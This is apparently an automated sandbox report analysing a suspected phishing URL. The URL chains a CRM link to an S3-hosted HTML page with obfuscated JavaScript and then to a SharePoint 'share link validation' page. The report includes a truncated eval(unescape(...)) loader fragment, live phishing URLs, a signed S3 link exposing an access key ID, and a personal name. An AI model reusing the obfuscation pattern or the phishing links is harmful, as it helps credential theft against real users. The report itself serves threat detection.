Create Interactive Tour

Windows Analysis Report
https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ

Overview

General Information

Sample URL:	https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ
Analysis ID:	1620849
Infos:

Detection

Score:	48
Range:	0 - 100
Confidence:	100%

Signatures

AI detected suspicious Javascript

HTML page contains obfuscated javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML title does not match URL

Submit button contains javascript call

Classification

Process Tree

System is w10x64

chrome.exe (PID: 560 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=2020,i,6877932132322953193,3937118836073825584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://pipeline-live-userdata.s3.amazonaws.com/up... This script demonstrates several high-risk behaviors, including dynamic code execution through the use of `eval()` and `unescape()` functions, as well as potential data exfiltration by sending data to an unknown external domain. The heavy obfuscation of the code further increases the suspicion of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.

HTML page contains obfuscated javascript

Source: https://pipeline-live-userdata.s3.amazonaws.com/uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156ac

HTTP Parser: <!-- eval(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%62%37%36%37%38%35%39%37%28%73%29%20%7b%0a

Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: Number of links: 0
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: Number of links: 0

Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: Title: Validation du lien de partage does not match URL
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: Title: Validation du lien de partage does not match URL

Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: On click: javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("btnSubmitEmail", "", true, "", "", false, true))
Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: On click: javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("btnSubmitEmail", "", true, "", "", false, true))
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: On click: javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("btnSubmitEmail", "", true, "", "", false, true))
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: On click: javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("btnSubmitEmail", "", true, "", "", false, true))
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: On click: javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("btnSubmitEmail", "", true, "", "", false, true))
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: On click: javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("btnSubmitEmail", "", true, "", "", false, true))

HTTP Parser: No favicon

Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: No <meta name="author".. found
Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: No <meta name="author".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="author".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="author".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="author".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="author".. found

Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: No <meta name="copyright".. found
Source: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	HTTP Parser: No <meta name="copyright".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="copyright".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="copyright".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="copyright".. found
Source: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: app.pipelinecrm.com to https://pipeline-live-userdata.s3.amazonaws.com/uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2fhtml&x-amz-algorithm=aws4-hmac-sha256&x-amz-credential=akiajueiewsyhey4zw4a%2f20250221%2fus-east-1%2fs3%2faws4_request&x-amz-date=20250221t070608z&x-amz-expires=604800&x-amz-signedheaders=host&x-amz-signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156ac

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ HTTP/1.1Host: app.pipelinecrm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156ac HTTP/1.1Host: pipeline-live-userdata.s3.amazonaws.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/GJFrp1CWIAAXP_V?format=jpg&name=large HTTP/1.1Host: pbs.twimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pipeline-live-userdata.s3.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/logo_microsoft365.png HTTP/1.1Host: circyl.co.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pipeline-live-userdata.s3.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/GJFrp1CWIAAXP_V?format=jpg&name=large HTTP/1.1Host: pbs.twimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pipeline-live-userdata.s3.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pipeline-live-userdata.s3.amazonaws.com/uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156acAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/logo_microsoft365.png HTTP/1.1Host: circyl.co.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://pipeline-live-userdata.s3.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=88byAly_dSfEWAYlHoCKtWYsWda8AD33TbzvaDlm9r3zv8mlgbEIK5Io1tPOtJmeWu1_EqZkud52TG16rzz2maFTavTQVFCf3cAVshMHi401&t=638722377274822434 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=nullAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=qG5cZC_r-vjA5alF1F7cP1ojaTdycTZtYbAW6i40CCMvVoP-LqtNdKXZALKV3oY9IRBAKkgqJxHyUZVhX7XR2OhnfHp840tX34IBU2j5N3RGOc_8hFN6dOeZBbtJPkmJdOYvev-5mehbL5Maqgf6LpRnUqjZqe2772PpI7spBVk1&t=ffffffffc7a8e318 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=nullAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=K166jF9pIgoi79uxq00sThc_1Oud8RRwX0NOTgBQ9M38UiQdmAiA2xPHKr8k4EgEhLns1OEz88J1YNl6lcuDHKDWFkk1GNAGrWn_Il_XBmEF0m6O8L3fdgQZkDbb6RG9jV1lQZTyCKIr18IB3FRNvV1oji-1nbfBw7rBenvYwegkov0qenWZB-ARhAGSK5nP0&t=2a9d95e3 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=nullAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=O-vXHJRpQDjJaUpWymgLG0920gU7uBysnu_-5aUF8o3SHfNYV7At8_TWyqgRtNw9n3IHVwSh6WxyKYmGO9Z37mkptU4LS7QUetLLwntmMR0TCb00b948WuFdwXqgnLr3_BQpFmJXO0O7-54jOyTALC576frHJVMskUlLPS6WYz6sqxDXDgMR2eMPq7W8jYmJ0&t=2a9d95e3 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=nullAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/microsoft-logo.png HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=nullAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=88byAly_dSfEWAYlHoCKtWYsWda8AD33TbzvaDlm9r3zv8mlgbEIK5Io1tPOtJmeWu1_EqZkud52TG16rzz2maFTavTQVFCf3cAVshMHi401&t=638722377274822434 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/microsoft-logo.png HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=qG5cZC_r-vjA5alF1F7cP1ojaTdycTZtYbAW6i40CCMvVoP-LqtNdKXZALKV3oY9IRBAKkgqJxHyUZVhX7XR2OhnfHp840tX34IBU2j5N3RGOc_8hFN6dOeZBbtJPkmJdOYvev-5mehbL5Maqgf6LpRnUqjZqe2772PpI7spBVk1&t=ffffffffc7a8e318 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=O-vXHJRpQDjJaUpWymgLG0920gU7uBysnu_-5aUF8o3SHfNYV7At8_TWyqgRtNw9n3IHVwSh6WxyKYmGO9Z37mkptU4LS7QUetLLwntmMR0TCb00b948WuFdwXqgnLr3_BQpFmJXO0O7-54jOyTALC576frHJVMskUlLPS6WYz6sqxDXDgMR2eMPq7W8jYmJ0&t=2a9d95e3 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=K166jF9pIgoi79uxq00sThc_1Oud8RRwX0NOTgBQ9M38UiQdmAiA2xPHKr8k4EgEhLns1OEz88J1YNl6lcuDHKDWFkk1GNAGrWn_Il_XBmEF0m6O8L3fdgQZkDbb6RG9jV1lQZTyCKIr18IB3FRNvV1oji-1nbfBw7rBenvYwegkov0qenWZB-ARhAGSK5nP0&t=2a9d95e3 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/favicon.ico?rev=47 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=nullAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/favicon.ico?rev=47 HTTP/1.1Host: casp-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: app.pipelinecrm.com
Source: global traffic	DNS traffic detected: DNS query: pipeline-live-userdata.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: circyl.co.uk
Source: global traffic	DNS traffic detected: DNS query: pbs.twimg.com
Source: global traffic	DNS traffic detected: DNS query: casp-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net

Source: unknown

